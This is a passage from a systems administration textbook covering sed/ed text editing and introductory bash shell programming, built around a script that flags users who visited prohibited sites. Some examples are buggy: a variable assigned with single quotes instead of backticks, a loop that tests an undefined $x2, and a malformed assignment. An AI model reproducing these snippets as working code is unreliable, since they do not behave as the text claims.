That file will contain ed commands one to a line.

For example

David Jones, Bruce Jamieson (2/20/25) Page 160

 85321, Systems Administration Chapter 7: Text Manipulation

Some of the tasks you might use sed for include

 change the username DAVID in the /etc/passwd to david
 for any users that are currently using bash as their login shell change them over to
the csh.
You could also use vi or ed to perform these same tasks. Note how the / in
/bin/bash and /bin/csh have been quoted. This is because the / character is used by
the substitute command to split the text to find and the text to replace it with. It is
necessary to quote the / character so ed will treat it as a normal character.
sed 's/DAVID/david/' /etc/passwd
sed 's/david/DAVID/' -e 's/\/bin\/bash/\/bin\/csh/' /etc/passwd
sed -f commands /etc/passwd
The last example assumes that there is a file called commands that contains the
following
s/david/DAVID/
s/\/bin\/bash/\/bin\/csh/

Exercises

7.4 Perform the following tasks with both vi and sed.

You have just written a history of the UNIX operating system but you referred
to UNIX as unix throughout. Replace all occurrences of unix with UNIX
You've just written a Pascal procedure using Write instead of Writeln. The
procedure is part of a larger program. Replace Write with Writeln for all
lines between the next occurrence of BEGIN and the following END
When you forward a mail message using the elm mail program it
automatically adds > to the beginning of every line. Delete all occurrences of
> that start a line.
7.5 What do the following ed commands do?
.+1,$d
1,$s/OSF/Open Software Foundation/g
1,/end/s/\([a-z]*\) \([0-9]*\)/\2 \1/
7.6 What are the following commands trying to do? Will they work? If not why
not?
sed –e 1,$s/^:/fred:/g /etc/passwd
sed '1,$s/david/DAVID/' '1,$s/bash/BASH/' /etc/passwd

Conclusions
Regular expressions (REs) are a powerful mechanism for matching patterns of
characters. REs are understood by a number of commands including vi, grep, sed,
ed, awk and Perl.

David Jones, Bruce Jamieson (2/20/25) Page 161

85321, Systems Administration Chapter 7: Text Manipulation

vi is just one of a family of editors starting with ed and including ex and sed. This
entire family recognise ed commands that support the use of regular expressions to
manipulate text.

David Jones, Bruce Jamieson (2/20/25) Page 162

 85321, Systems Administration Chapter 7: Text Manipulation

Review Questions
7.1

You have been given responsibility for maintaining the 85321 WWW pages. These
pages are spread through a large collection of directories and sub-directories. There
are some modifications that must be made. Write commands using your choice of awk,
sed , find or vi to
 change the extensions of all .html files to .htm
 where ever bl_ball.gif appears in a file, change it to rd_ball.gif
 move all the files that haven't been modified for 28 days into the /usr/local/old
directory
 count the number of times the word 85321 occurs in all files ending in .html
7.2

It is often the case that specific users on a system continually use too much disk space.
There are a number of solutions to this problem including quotas (talked about in a
later chapter).
In the meantime you are going to implement another solution along the following
lines. Maintain a file called disk.hog, each line of this file contains a username and
the amount of disk space they are allowed to have. For example
jonesd 50000
okellys 10
Write a script called find_hog that is run once a day and performs the following tasks
 for each user in disk.hog discover how much disk space they are using
 if the amount of disk space exceeds the allowed amount write their username to a
file offender
Hints: User's should only own files under their home directory. The command du -s
directoryname can be used to find out how much disk space the directory
directoryname and all its child directories use. The file /etc/passwd records the home
directory for each user.

7.3

Use vi and awk to perform the following tasks with the file 85321.txt (the student
numbers have been changed to protect the innocent). This file is available from the
85321 Web site/CD-ROM under the resource materials section for week 3. Unless
specified assume each task starts with the original file.
 remove the student number
 switch the order for first name, last name

David Jones, Bruce Jamieson (2/20/25) Page 163

85321, Systems Administration Chapter 7: Text Manipulation

 remove any student with the name david

7.4

Write commands to perform the four tasks outlined in the introduction to this chapter.
They were
 calculate how much disk space each user is using
 calculate the amount of time each user has spent logged in (try the command last
username and see what happens)
 delete all the files owned by a particular user (be careful doing this one)
 find all the files that are setuid

David Jones, Bruce Jamieson (2/20/25) Page 164

85321, Systems Administration Chapter 8: Shell Programming

Chapter 8
Shell Programming

Introduction

Shell Programming - WHY?

While it is very nice to have a shell at which you can issue commands, have you had
the feeling that something is missing? Do you feel the urge to issue multiple
commands by only typing one word? Do you feel the need for variables, logic
conditions and loops? Do you strive for automation?
If so, then welcome to shell programming.
(If you answered no to any of the above then you are obviously in the wrong frame of
mind to be reading this - please try again later :)
Shell programming allows system administrators (and users) to create small (and
occasionally not-so-small) programs for various purposes including automation of
system administration tasks, text processing and installation of software.

Shell Programming - WHAT?

A shell program (sometimes referred to as a shell script) is a text file containing shell
and UNIX commands. Remember - a UNIX command is a physical program (like
cat, cut and grep) where as a shell command is an “interpreted” command -
there isn’t a physical file associated with the command; when the shell sees the
command, the shell itself performs certain actions (for example, echo)
When a shell program is executed the shell reads the contents of the file line by line.
Each line is executed as if you were typing it at the shell prompt. There isn't anything
that you can place in a shell program that you can't type at the shell prompt.
Shell programs contain most things you would expect to find in a simple programming
language. Programs can contain services including:
 variables
 logic constructs (IF THEN AND OR etc)
 looping constructs (WHILE FOR)
 functions
 comments (strangely the most least used service)

David Jones and Bruce Jamieson (2/20/25) Page 165

85321, Systems Administration Chapter 8: Shell Programming

The way in which these services are implemented is dependant on the shell that is
being used (remember - there is more than one shell). While the variations are often
not major it does mean that a program written for the bourne shell (sh/bash) will not
run in the c shell (csh). All the examples in this chapter are written for the bourne
shell.

Shell Programming - HOW?

Shell programs are a little different from what you'd usually class as a program. They
are plain text and they don't need to be compiled. The shell "interprets" shell
programs - the shell reads the shell program line by line and executes the commands it
encounters. If it encounters an error (syntax or execution), it is just as if you typed
the command at the shell prompt - an error is displayed.
This is in contrast to C/C++, Pascal and Ada programs (to name but a few) which have
source in plain text, but require compiling and linking to produce a final executable
program.
So, what are the real differences between the two types of programs? At the most
basic level, interpreted programs are typically quick to write/modify and execute
(generally in that order and in a seemingly endless loop :). Compiled programs
typically require writing, compiling, linking and executing, thus are generally more
time consuming to develop and test.
However, when it comes to executing the finished programs, the execution speeds are
often widely separated. A compiled/linked program is a binary file containing a
collection direct systems calls. The interpreted program, on the other hand, must first
be processed by the shell which then converts the commands to system calls or calls
other binaries - this makes shell programs slow in comparison. In other words, shell
programs are not generally efficient on CPU time.
Is there a happy medium? Yes! It is called Perl. Perl is an interpreted language but
is interpreted by an extremely fast, optimised interpreter. It is worth noting that a Perl
program will be executed inside one process, whereas a shell program will be
interpreted from a parent process but may launch many child processes in the form of
UNIX commands (ie. each call to a UNIX command is executed in a new process).
However, Perl is a far more difficult (but extremely powerful) tool to learn - and this
chapter is called "Shell Programming"...

The Basics

A Basic Program

David Jones and Bruce Jamieson (2/20/25) Page 166

 85321, Systems Administration Chapter 8: Shell Programming

It is traditional at this stage to write the standard "Hello World" program. To do this
in a shell program is so obscenely easy that we're going to examine something a bit
more complex - a hello world program that knows who you are...
To create your shell program, you must first edit a file - name it something like
"hello", "hello world" or something equally as imaginative - just don't call it "test" -
we will explain why later.
In the editor, type the following:

#!/bin/bash
# This is a program that says hello
echo "Hello $LOGNAME, I hope you have a nice day!"
(You may change the text of line three to reflect your current mood if you wish)
Now, at the prompt, type the name of your program - you should see something like:

bash: ./helloworld: Permission denied

Why?
The reason is that your shell program isn't executable because it doesn't have its
execution permissions set. After setting these (Hint: something involving the
chmod command), you may execute the program by again typing its name at the
prompt.
An alternate way of executing shell programs is to issue a command at the shell
prompt to the effect of:

<shell> <shell program>

eg

bash helloworld
This simply instructs the shell to take a list of commands from a given file (your shell
script). This method does not require the shell script to have execute permissions.
However, in general you will execute your shell scripts via the first method.
And yet you may still find your script won’t execute - why? On some UNIX systems
(Red Hat Linux included) the current directory (.) is not included in the PATH
environment variable. This mans that the shell can’t find the script that you want to
execute, even when it’s sitting in the current directory! To get around this either:
 Modify the PATH variable to include the “.” directory:
PATH=$PATH:.
 Or, execute the program with an explicit path:
./helloworld

David Jones and Bruce Jamieson (2/20/25) Page 167

 85321, Systems Administration Chapter 8: Shell Programming

An Explanation of the Program

Line one, #!/bin/bash is used to indicate which shell the shell program is to be
run in. If this program was written for the C shell, then you might have
#!/bin/csh instead.
It is probably worth mentioning at this point that UNIX “executes” programs by first
looking at the first two bytes of the file (this is similar to the way MS-DOS looks at
the first two bytes of executable programs; all .EXE programs start with “MZ”).
From these two characters, the system knows if the file is an interpreted script (#!) or
some other file type (more information can be obtained about this by typing man
file). If the file is an interpreted script, then the system looks for a following path
indicating an interpreter. For example:

#!/bin/bash
#!/usr/bin/perl
#!/bin/sh
Are all valid interpreters.
Line two, # This is a program that says hello , is (you guessed it) a
comment. The "#" in a shell script is interpreted as "anything to the right of this is a
comment, go onto the next line". Note that it is similar to line one except that line
one has the "!" mark after the comment.
Comments are a very important part of any program - it is a really good idea to
include some. The reasons why are standard to all languages - readability,
maintenance and self congratulation. It is more so important for a system
administrator as they very rarely remain at one site for their entire working career,
therefore, they must work with other people's shell scripts (as other people must work
with theirs).
Always have a comment header; it should include things like:

# AUTHOR: Who wrote it

# DATE: Date first written
# PROGRAM: Name of the program
# USAGE: How to run the script; include any parameters
# PURPOSE: Describe in more than three words what the
# program does
#
# FILES: Files the shell script uses
#
# NOTES: Optional but can include a list of "features"
# to be fixed
#
# HISTORY: Revisions/Changes

David Jones and Bruce Jamieson (2/20/25) Page 168

 85321, Systems Administration Chapter 8: Shell Programming

This format isn't set in stone, but use common sense and write fairly self documenting
programs.
Line three, echo "Hello $LOGNAME, I hope you have a nice day!"
is actually a command. The echo command prints text to the screen. Normal shell
rules for interpreting special characters apply for the echo statement, so you should
generally enclose most text in "". The only tricky bit about this line is the
$LOGNAME . What is this?
$LOGNAME is a shell variable; you can see it and others by typing "set" at the shell
prompt. In the context of our program, the shell substitutes the $LOGNAME value with
the username of the person running the program, so the output looks something like:

Hello jamiesob, I hope you have a nice day!

All variables are referenced for output by placing a "$" sign in front of them - we will
examine this in the next section.

Exercises

8.1 Modify the helloworld program so its output is something similar to:
Hello <username>, welcome to <machine name>

All You Ever Wanted to Know About Variables

You have previously encountered shell variables and the way in which they are set.
To quickly revise, variables may be set at the shell prompt by typing:

Shell_Prompt: variable="a string"

Since you can type this at the prompt, the same syntax applies within shell programs.
You can also set variables to the results of commands, for example:

Shell_Prompt: variable=`ls -al`

(Remember - the ` is the execute quote)
To print the contents of a variable, simply type:

Shell_Prompt: echo $variable

Note that we've added the "$" to the variable name. Variables are always accessed
for output with the "$" sign, but without it for input/set operations.
Returning to the previous example, what would you expect to be the output?
You would probably expect the output from ls -al to be something like:
drwxr-xr-x 2 jamiesob users 1024 Feb 27 19:05 ./
drwxr-xr-x 45 jamiesob users 2048 Feb 25 20:32 ../
-rw-r--r-- 1 jamiesob users 851 Feb 25 19:37 conX
-rw-r--r-- 1 jamiesob users 12517 Feb 25 19:36 confile

David Jones and Bruce Jamieson (2/20/25) Page 169

 85321, Systems Administration Chapter 8: Shell Programming

-rw-r--r-- 1 jamiesob users 8 Feb 26 22:50 helloworld

-rw-r--r-- 1 jamiesob users 46604 Feb 25 19:34 net-acct
and therefore, printing a variable that contains the output from that command would
contain something similar, yet you may be surprised to find that it looks something
like:
drwxr-xr-x 2 jamiesob users 1024 Feb 27 19:05 ./ drwxr-xr-x 45 jamiesob
users 2048 Feb 25 20:32 ../ -rw-r--r-- 1 jamiesob users 851 Feb 25 19:37
conX -rw-r--r-- 1 jamiesob users 12517 Feb 25 19:36 confile -rw-r--r-- 1
jamiesob users 8 Feb 26 22:50 helloworld -rw-r--r-- 1 jamiesob users 46604
Feb 25 19:34 net-acct

Why?
When placing the output of a command into a shell variable, the shell removes all the
end-of-line markers, leaving a string separated only by spaces. The use for this will
become more obvious later, but for the moment, consider what the following script
will do:
 #!/bin/bash

filelist=`ls`
cat $filelist

Exercise

8.2 Type in the above program and run it. Explain what is happening. Would
the above program work if "ls -al" was used rather than "ls" - Why/why
not?

Predefined Variables
There are many predefined shell variables, most established during your login.
Examples include $LOGNAME, $HOSTNAME and $TERM - these names are not always
standard from system to system (for example, $LOGNAME can also be called $USER).
There are however, several standard predefined shell variables you should be familiar
with. These include:

$$ (The current process ID)

$? (The exits status of last command)
How would these be useful?

$$

$$ is extremely useful in creating unique temporary files. You will often find the
following in shell programs:

David Jones and Bruce Jamieson (2/20/25) Page 170

 85321, Systems Administration Chapter 8: Shell Programming

some command > /tmp/temp.$$

.
.
some commands using /tmp/temp.$$>
.
.
rm /tmp/temp.$$
/tmp/temp.$$ would always be a unique file - this allows several people to run the
same shell script simultaneously. Since one of the only unique things about a process
is its PID (Process-Identifier), this is an ideal component in a temporary file name. It
should be noted at this point that temporary files are generally located in the /tmp
directory.

$?

$? becomes important when you need to know if the last command that was executed
was successful. All programs have a numeric exit status - on UNIX systems 0
indicates that the program was successful, any other number indicates a failure. We
will examine how to use this value at a later point in time.
Is there a way you can show if your programs succeeded or failed? Yes! This is done
via the use of the exit command. If placed as the last command in your shell
program, it will enable you to indicate, to the calling program, the exit status of your
script.
exit is used as follows:

exit 0 # Exit the script, $? = 0 (success)

exit 1 # Exit the script, $? = 1 (fail)
Another category of standard shell variables are shell parameters.

Parameters - Special Shell Variables

If you thought shell programming was the best thing since COBOL, then you haven't
even begun to be awed - shell programs can actually take parameters. Table 8.1 lists
each variable associated with parameters in shell programs:
Variable Purpose
XE "$0"$0 the name of the shell program
$1 thru $9 the first thru to ninth parameters
XE "$#"$# the number of parameters
XE "$*"$* all the parameters passed represented as a single
word with individual parameters separated
XE "$@"$@ all the parameters passed with each parameter as
a separate word
Ta b l e 8 . 1
S h e l l P a r a m e t e r Va r i a b l e s

David Jones and Bruce Jamieson (2/20/25) Page 171

 85321, Systems Administration Chapter 8: Shell Programming

The following program demonstrates a very basic use of parameters:

#!/bin/bash
# FILE: parm1
VAL=`expr ${1:-0} + ${2:-0} + ${3:-0}`
echo "The answer is $VAL"
Pop Quiz: Why are we using ${1:-0} instead of $1? Hint: What
would happen if any of the variables were not set?
A sample testing of the program looks like:

Shell_Prompt: parm1 2 3 5
The answer is 10

Shell_Prompt: parm1 2 3
The answer is 5

Shell_Prompt:
The answer is 0
Consider the program below:

#!/bin/bash
# FILE: mywc

FCOUNT='ls $* 2> /dev/null | wc -w'

echo "Performing word count on $*"
echo
wc -w $* 2> /dev/null
echo
echo "Attempted to count words on $# files, found $FCOUNT"

If the program that was run in a directory containing:

conX net-acct notes.txt shellprog~ t1~

confile netnasties notes.txt~ study.htm ttt
helloworld netnasties~ scanit* study.txt tes/
my_file netwatch scanit~ study_~1.htm
mywc* netwatch~ shellprog parm1*
Some sample testing would produce:

Shell_Prompt: mywc mywc

Performing word count on mywc

34 mywc

Attempted to count words on 1 files, found 1

Shell_Prompt: mywc mywc anotherfile
Performing word count on mywc anotherfile

34 mywc
34 total

David Jones and Bruce Jamieson (2/20/25) Page 172

 85321, Systems Administration Chapter 8: Shell Programming

Attempted to count words on 2 files, found 1

Exercise

8.3 Explain line by line what this program is doing. What would happen if the
user didn't enter any parameters? How could you fix this?

David Jones and Bruce Jamieson (2/20/25) Page 173

 85321, Systems Administration Chapter 8: Shell Programming

Only Nine Parameters?

Well that's what it looks like doesn't it? We have $1 to $9 - what happens if we try
to access $10? Try the code below:

#!/bin/bash
# FILE: testparms
echo "$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12"
echo $*
echo $#
Run testparms as follows:

Shell_Prompt: testparms a b c d e f g h I j k l
The output will look something like:

a b c d e f g h i a0 a1 a2
a b c d e f g h I j k l
12

Why?
The shell only has 9 parameters defined at any one time $1 to $9. When the shell
sees "$10" it interprets this as "$1" and "0" therefore resulting in the "1p0" string.
Yet $* still shows all the parameters you typed!
To our rescue comes the shift command. shift works by removing the first
parameter from the parameter list and shuffling the parameters along. Thus $2
becomes $1, $3 becomes $2 etc. Finally, (what was originally) the tenth parameter
becomes $9. However, beware! Once you've run shift, you have lost the
original value of $1 forever - it is also removed from $* and $@. shift is
executed by, well, placing the word "shift" in your shell script, for example:

#!/bin/bash
echo $1 $2 $3
shift
echo $1 $2 $3

Exercise

8.4 Modify the testparms program so the output looks something like:
a b c d e f g h i a0 a1 a2
abcdefghIjkl
12
b c d e f g h i j b1 b2 b3
bcdefghijkl
11

David Jones and Bruce Jamieson (2/20/25) Page 174

85321, Systems Administration Chapter 8: Shell Programming

c d e f g h i j k c0 c1 c2
cdefghIjkl
10

David Jones and Bruce Jamieson (2/20/25) Page 175

 85321, Systems Administration Chapter 8: Shell Programming

The difference between $* and $@

While the definitions between the $* and $@ may seem subtle, it is important to
distinguish between them.
As you have seen $* represents the complete list of characters as one string. If your
were to perform:

echo $*
and

echo $@
the results would appear the same. However, when using these variables within your
programs you should be aware that the shell stores them in two different ways.

Example

# $1 = x $2 = "helo fred" $3 = 345

$* = $1 $2 $3 ... eg. x helo fred 345

$@ = "$1" "$2" "$3" ... eg. "x" "helo fred" "345"
As we progress through this chapter, remember this, as we will encounter it again
when we examine the repeated action commands (while/for loops).

The basics of input/output (IO)

We have already encountered the "echo" command, yet this is only the "O" part of IO
- how can we get user input into our programs? We use the "read" command. For
example:

#!/bin/bash
# FILE: testread
read X
echo "You said $X"

The purpose of this enormously exciting program should be obvious.

Just in case you were bored with the echo command. Table 8.2 shows a few
backslash characters that you can use to brighten your shell scripts:

David Jones and Bruce Jamieson (2/20/25) Page 176

 85321, Systems Administration Chapter 8: Shell Programming

Character Purpose
\a alert (bell)
\b backspace
\c don't display the trailing newline
\n new line
\r carriage return
\t horizontal tab
\v vertical tab
\\ backslash
\nnn the character with ASCII number nnn (octal)
Ta b l e 8 . 2
echo backslash options

(type "man echo" to see this exact table :)

To enable echo to interpret these backslash characters within a string, you must issue
the echo command with a "-e" switch. You may also add a "-n" switch to stop
echo printing a new-line at the end of the string - this is a good thing if you want to
output a prompting string. For example:

#!/bin/bash
# FILE: getname
echo -n "Please enter your name: "
read NAME
echo "Your name is $NAME"

(This program would be useful for those with a very short memory)
At the moment, we've only examined reading from STDIN (standard input a.k.a. the
keyboard) and STDOUT (standard output a.k.a. the screen) - if we want to be really
clever we can change this.
What do you think the following does?

read X < afile

or what about

echo $X > anotherfile

If you said that the first read the contents of afile into a variable $X and the second
wrote the value of $X to anotherfile you'd almost be correct. The read
operation will only read the first line (up to the end-of-line marker) from afile - it
doesn't read the entire file.
You can also use the ">>" and "<<" redirection operators.

David Jones and Bruce Jamieson (2/20/25) Page 177

85321, Systems Administration Chapter 8: Shell Programming

Exercises

8.5 What would you expect:

read X << END

would do? What do you think $X would hold if the input was:

Dear Sir
I have no idea why your computer blew up.
Kind regards, me.
END

And now for the hard bits

Scenario
So far we have been dealing with very simple examples - mainly due to the fact we've
been dealing with very simple commands. Shell scripting was not invented so you
could write programs that ask you your name then display it. For this reason, we are
going to be developing a real program that has a useful purpose. We will do this
section by section as we examine more shell programming concepts. While you are
reading each section, you should consider how the information could assist in writing
part of the program.
The actual problem is as follows:
You've been appointed as a system administrator to an academic department within a
small (anonymous) regional university. The previous system administrator left in
rather a hurry after it was found that department’s main server had being playing host
to plethora of pornography, warez (pirate software) and documentation regarding
interesting alternative uses for various farm chemicals.
There is some concern that the previous sys admin wasn’t the only individual within
the department who had been availing themselves to such wonderful and diverse
resources on the Internet. You have been instructed to identify those persons who
have been visiting "undesirable" Internet sites and advise them of the department's
policy on accessing inappropriate material (apparently there isn't one, but you've been
advised to improvise). Ideally, you will produce a report of people accessing
restricted sites, exactly which sites and the number of times they visited them.
To assist you, a network monitoring program produces a datafile containing a list of
users and sites they have accessed, an example of which is listed below:

David Jones and Bruce Jamieson (2/20/25) Page 178

 85321, Systems Administration Chapter 8: Shell Programming

FILE: netwatch

jamiesob mucus.slime.com
tonsloye xboys.funnet.com.fr
tonsloye sweet.dreams.com
root sniffer.gov.au
jamiesob marvin.ls.tc.hk
jamiesob never.land.nz
jamiesob guppy.pond.cqu.edu.au
tonsloye xboys.funnet.com.fr
tonsloye www.sony.com
janesk horseland.org.uk
root www.nasa.gov
tonsloye warez.under.gr
tonsloye mucus.slime.com
root ftp.ns.gov.au
tonsloye xboys.funnet.com.fr
root linx.fare.com
root crackz.city.bmr.au
janesk smurf.city.gov.au
jamiesob mucus.slime.com
jamiesob mucus.slime.com

After careful consideration (and many hours of painstaking research) a steering

committee on the department's policy on accessing the internet has produced a list of
sites that they have deemed "prohibited" - these sites are contained in a data file, an
example of which is listed below:

FILE: netnasties

mucus.slime.com
xboys.funnet.com.fr
warez.under.gr
crackz.city.bmr.au
It is your task to develop a shell script that will fulfil these requirements (at the same
time ignoring the privacy, ethics and censorship issues at hand :)
(Oh, it might also be an idea to get Yahoo! to remove the link to your main server
under the /Computers/Software/Hackz/Warez/Sites listing... ;)

if ... then ... maybe?

Shell programming provides the ability to test the exit status from commands and act
on them. One way this is facilitated is:

if command
then
do other commands
fi

David Jones and Bruce Jamieson (2/20/25) Page 179

85321, Systems Administration Chapter 8: Shell Programming

You may also provide an "alternate" action by using the "if" command in the
following format:

David Jones and Bruce Jamieson (2/20/25) Page 180

 85321, Systems Administration Chapter 8: Shell Programming

if command
then
do other commands
else
do other commands
fi
And if you require even more complexity, you can issue the if command as:

if command
then
do other commands
elif anothercommand
do other commands
fi
To test these structures, you may wish to use the true and false UNIX commands.
true always sets $? to 0 and false sets $? to 1 after executing.
Remember: if tests the exit code of a command - it isn’t used to compare values; to
do this, you must use the test command in combination with the if structure -
test will be discussed in the next section.
What if you wanted to test the output of two commands? In this case, you can use the
shell's && and || operators. These are effectively "smart" AND and OR operators.
The && works as follows:

command1 && command2

command2 will only be executed if command1 succeeds.
The || works as follows:

command1 || command2
command2 will only be executed if command1 fails.
These are sometimes referred to as "short circuit" operators in other languages.
Given our problem, one of the first things we should do in our program is to check if
our datafiles exist. How would we do this?

#!/bin/bash
# FILE: scanit
if ls netwatch && ls netnasties
then
echo "Found netwatch and netnasties!"
else
echo "Can not find one of the data files - exiting"
exit 1
fi

David Jones and Bruce Jamieson (2/20/25) Page 181

 85321, Systems Administration Chapter 8: Shell Programming

Exercise

8.6 Enter the code above and run the program. Notice that the output from the
ls commands (and the errors) appear on the screen - this isn't a very good
thing. Modify the code so the only output to the screen is one of the echo
messages.

Testing Testing...
Perhaps the most useful command available to shell programs is the test command.
It is also the command that causes the most problems for first time shell programmers
- the first program they ever write is usually (imaginatively) called test - they
attempt to run it - and nothing happens - why? (Hint: type which test, then type
echo $PATH - why does the system command test run before the programmer's
shell script?)
The test command allows you to:
 test the length of a string
 compare two strings
 compare two numbers
 check on a file's type
 check on a file's permissions
 combine conditions together
test actually comes in two flavours:

test an_expression
and

[ an_expression ]
They are both the same thing - it's just that [ is soft-linked to /usr/bin/test ;
test actually checks to see what name it is being called by; if it is [ then it expects a ]
at the end of the expression.
What do we mean by "expression"? The expression is the string you want evaluated.
A simple example would be:

if [ "$1" = "hello" ]
then
echo "hello to you too!"
else
echo "hello anyway"
fi
This simply tests if the first parameter was hello. Note that the first line could have
been written as:

David Jones and Bruce Jamieson (2/20/25) Page 182

 85321, Systems Administration Chapter 8: Shell Programming

if test "$1" = "hello"

Tip: Note that we surrounded the variable $1 in quotes. This is to take care of the
case when $1 doesn't exist - in other words, there were no parameters passed. If we
had simply put $1 and there wasn't any $1, then an error would have been displayed:

test: =: unary operator expected

This is because you'd be effectively executing:

test NOTHING = "hello"

= expects a string to its left and right - thus the error. However, when placed in
double quotes, you be executing:

test "" = "hello"

which is fine; you're testing an empty string against another string.
You can also use test to tell if a variable has a value in it by:

test $var
This will return true if the variable has something in it, false if the variable doesn't
exist OR it contains null ("").
We could use this in our program. If the user enters at least one username to check
on, them we scan for that username, else we write an error to the screen and exit:

if [ $1 ]
then
the_user_list=echo $*
else
echo "No users entered - exiting!
exit 2
fi

Expressions, expressions!
So far we've only examined expressions containing string based comparisons. The
following tables list all the different types of comparisons you can perform with the
test command.
Expression True if
-z string length of string is 0
-n string length of string is not 0
string1 = string2 if the two strings are identical
string != string2 if the two strings are NOT identical
String if string is not NULL
Ta b l e 8 . 3
String based tests

Expression True if
int1 -eq int2 first int is equal to second
int1 -ne int2 first int is not equal to second

David Jones and Bruce Jamieson (2/20/25) Page 183

85321, Systems Administration Chapter 8: Shell Programming

int1 -gt int2 first int is greater than second

int1 -ge int2 first int is greater than or equal to second
int1 -lt int2 first int is less than second
int1 -le int2 first int is less than or equal to second
Ta b l e 8 . 4
Numeric tests

David Jones and Bruce Jamieson (2/20/25) Page 184

85321, Systems Administration Chapter 8: Shell Programming

Expression True if
-r file File exists and is readable
-w file file exists and is writable
-x file file exists and is executable
-f file file exists and is a regular file
-d file file exists and is directory
-h file file exists and is a symbolic link
-c file file exists and is a character special file
-b file file exists and is a block special file
-p file file exists and is a named pipe
-u file file exists and it is setuid
-g file file exists and it is setgid
-k file file exists and the sticky bit is set
-s file file exists and its size is greater than 0
Ta b l e 8 . 5
File tests

Expression Purpose
! reverse the result of an expression
-a AND operator
-o OR operator
( expr ) group an expression, parentheses have special
meaning to the shell so to use them in the test
command you must quote them
Ta b l e 8 . 6
Logic operators with test

Remember: test uses different operators to compare strings and numbers - using -
ne on a string comparison and != on a numeric comparison is incorrect and will give
undesirable results.

Exercise

8.7 Modify the code for scanit so it uses the test command to see if the
datafiles exists.

All about case

Ok, so we know how to conditionally perform operations based on the return status of
a command. However, like a combination between the if statement and the test
$string = $string2, there exists the case statement.

David Jones and Bruce Jamieson (2/20/25) Page 185

 85321, Systems Administration Chapter 8: Shell Programming

case value in
pattern 1) command
anothercommand ;;
pattern 2) command
anothercommand ;;
esac
case works by comparing value against the listed patterns. If a match is made, then
the commands associated with that pattern are executed (up to the ";;" mark) and $?
is set to 0. If a match isn't made by the end of the case statement (esac) then $? is
set to 1.
The really useful thing is that wildcards can be used, as can the "|" symbol which acts
as an OR operator. The following example gets a Yes/No response from a user, but
will accept anything starting with "Y" or "y" as YES, "N" or "n" as no and anything
else as "MAYBE"

echo -n "Your Answer: "

read ANSWER
case $ANSWER in
Y* | y*) ANSWER="YES" ;;
N* | n*) ANSWER="NO" ;;
*) ANSWER="MAYBE" ;;
esac
echo $ANSWER

Exercise

8.8 Write a shell script that inputs a date and converts it into a long date form.
For example:
$~ > mydate 12/3/97
12th of March 1997

$~ > mydate
Enter the date: 1/11/74
1st of November 1974

Loops and Repeated Action Commands

Looping - "the exciting process of doing something more than once" - and shell
programming allows it. There are three constructs that implement looping:

while - do - done
for - do - done
until - do - done

David Jones and Bruce Jamieson (2/20/25) Page 186

 85321, Systems Administration Chapter 8: Shell Programming

while

The format of the while construct is:

while command
do
commands
done
(while command is true, commands are executed)

Example

while [ $1 ]
do
echo $1
shift
done
What does this segment of code do? Try running a script containing this code with a
b c d e on the command line.
while also allows the redirection of input. Consider the following:

#!/bin/bash
# FILE: linelist
#
count=0
while read BUFFER
do
count=`expr $count + 1` # Increment the count
echo "$count $BUFFER" # Echo it out
done < $1 # Take input from the file
This program reads a file line by line and echo’s it to the screen with a line number.
Given our scanit program, the following could be used read the netwatch datafile
and compare the username with the entries in the datafile:

while read buffer

do
user=`echo $buffer | cut -d" " -f1`
site=`echo $buffer | cut -d" " -f2`
if [ "$user" = "$1" ]
then
echo "$user visited $site"
fi
done < netwatch

Exercise

David Jones and Bruce Jamieson (2/20/25) Page 187

 85321, Systems Administration Chapter 8: Shell Programming

8.9 Modify the above code so that the site is compared with all sites in the
prohibited sites file (netnasties). Do this by using another while loop.
If the user has visited a prohibited site, then echo a message to the screen.

for

The format of the for construct is:

for variable in list_of_variables

do
commands
done
(for each value in list_of_variables, "commands" are executed)

Example

echo $#
for VAR in $*
do
echo $VAR
done
Herein lies the importance between $* and $@. Try the above program using:

this is a sentence
as the input. Now try it with:

"this is" a sentence

Your output for the first run should look something like:

4
this
is
a
sentence
and the second run

3
this
is
a
sentence
Remember that $* effectively is "$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 ...
$n".

Exercise

David Jones and Bruce Jamieson (2/20/25) Page 188

 85321, Systems Administration Chapter 8: Shell Programming

8.10 Modify the previous segment of code, changing $* to $@. What do you
think the output will be? Try it.

Modifying scanit

Given our scanit program, we might wish to report on a number of users. The
following modifications will allow us to accept and process multiple users from the
command line:

for checkuser in $*
do
while read buffer
do
while read checksite
do
user=`echo $buffer | cut -d" " -f1`
site=`echo $buffer | cut -d" " -f2`
if [ "$user" = "$checkuser" -a "$site" = "$checksite" ]
then
echo "$user visited the prohibited site $site"
fi
done < netnasties
done < netwatch
done

Exercise

8.11 The above code is very inefficient IO wise - for every entry in the netwatch
file, the entire netnasties file is read in. Modify the code so that the
while loop reading the netnasties file is replaced by a for loop. (Hint: what
does:
BADSITES=`cat netnasties`
do?)

EXTENSION: What other IO inefficiencies does the code have? Fix them.

until

The format of the until construct is:

until command
do
commands
done
("commands" are executed until "command" is true)

Example

David Jones and Bruce Jamieson (2/20/25) Page 189

 85321, Systems Administration Chapter 8: Shell Programming

until [ "$1" = "" ]

do
echo $1
shift
done

David Jones and Bruce Jamieson (2/20/25) Page 190

 85321, Systems Administration Chapter 8: Shell Programming

break and continue

Occasionally you will want to jump out of a loop; to do this you need to use the
break command. break is executed in the form:

break
or

break n
The first form simply stops the loop, for example:

while true
do
read BUFFER
if [ "$BUFFER" = "" ]
then
break
fi
echo $BUFFER
done
This code takes a line from the user and prints it until the user enters a blank line.
The second form of break, break n (where n is a number) effectively works by
executing break "n" times. This can break you out of embedded loops, for
example:

for file in $*
do
while read BUFFER
do
if [ "$BUFFER" = "ABORT" ]
then
break 2
fi
echo $BUFFER
done < $file
done
This code prints the contents of multiple files, but if it encounters a line containing the
word "ABORT" in any one of the files, it stops processing.
Like break, continue is used to alter the looping process. However, unlike
break, continue keeps the looping process going; it just fails to finish the
remainder of the current loop by returning to the top of the loop. For example:

while read BUFFER

do
charcount=`echo $BUFFER | wc -c | cut -f1`
if [ $x2 -gt 80 ]
then
continue

David Jones and Bruce Jamieson (2/20/25) Page 191

 85321, Systems Administration Chapter 8: Shell Programming

fi
echo $BUFFER
done < $1
This code segment reads and echo’s the contents of a file - however, it does not print
lines that are over 80 characters long.

Redirection
Not just the while - do - done loops can have IO redirection; it is possible to
perform piping, output to files and input from files on if, for and until as well.
For example:

if true
then
read x
read y
read x
fi < afile
This code will read the first three lines from afile. Pipes can also be used:

read BUFFER
while [ "$BUFFER" != "" ]
do
